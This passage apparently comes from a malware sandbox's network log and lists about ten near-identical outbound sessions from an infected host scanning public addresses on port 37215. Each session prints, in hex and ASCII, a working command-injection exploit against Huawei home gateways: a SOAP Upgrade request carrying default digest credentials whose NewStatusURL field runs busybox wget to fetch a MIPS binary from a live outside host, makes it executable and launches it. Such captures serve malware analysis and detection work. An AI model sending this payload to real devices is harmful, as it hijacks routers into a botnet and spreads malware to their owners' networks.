6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
259	192.168.2.13	38990	197.73.57.101	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.200486898 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
260	192.168.2.13	56976	156.79.171.4	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.201248884 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
261	192.168.2.13	34464	197.63.251.49	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.201992989 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
262	192.168.2.13	49114	41.206.110.186	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.202796936 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
263	192.168.2.13	45678	197.246.123.244	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.203547001 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
264	192.168.2.13	45564	41.168.73.24	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.204323053 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
265	192.168.2.13	43116	41.237.191.106	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.205113888 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
266	192.168.2.13	36610	197.128.46.215	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.205893040 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
267	192.168.2.13	47676	41.39.55.229	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.206691980 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
268	192.168.2.13	59202	156.200.117.215	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.207478046 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
269	192.168.2.13	58864	156.181.42.38	37215

Timestamp	Bytes transferred	Direction	Data
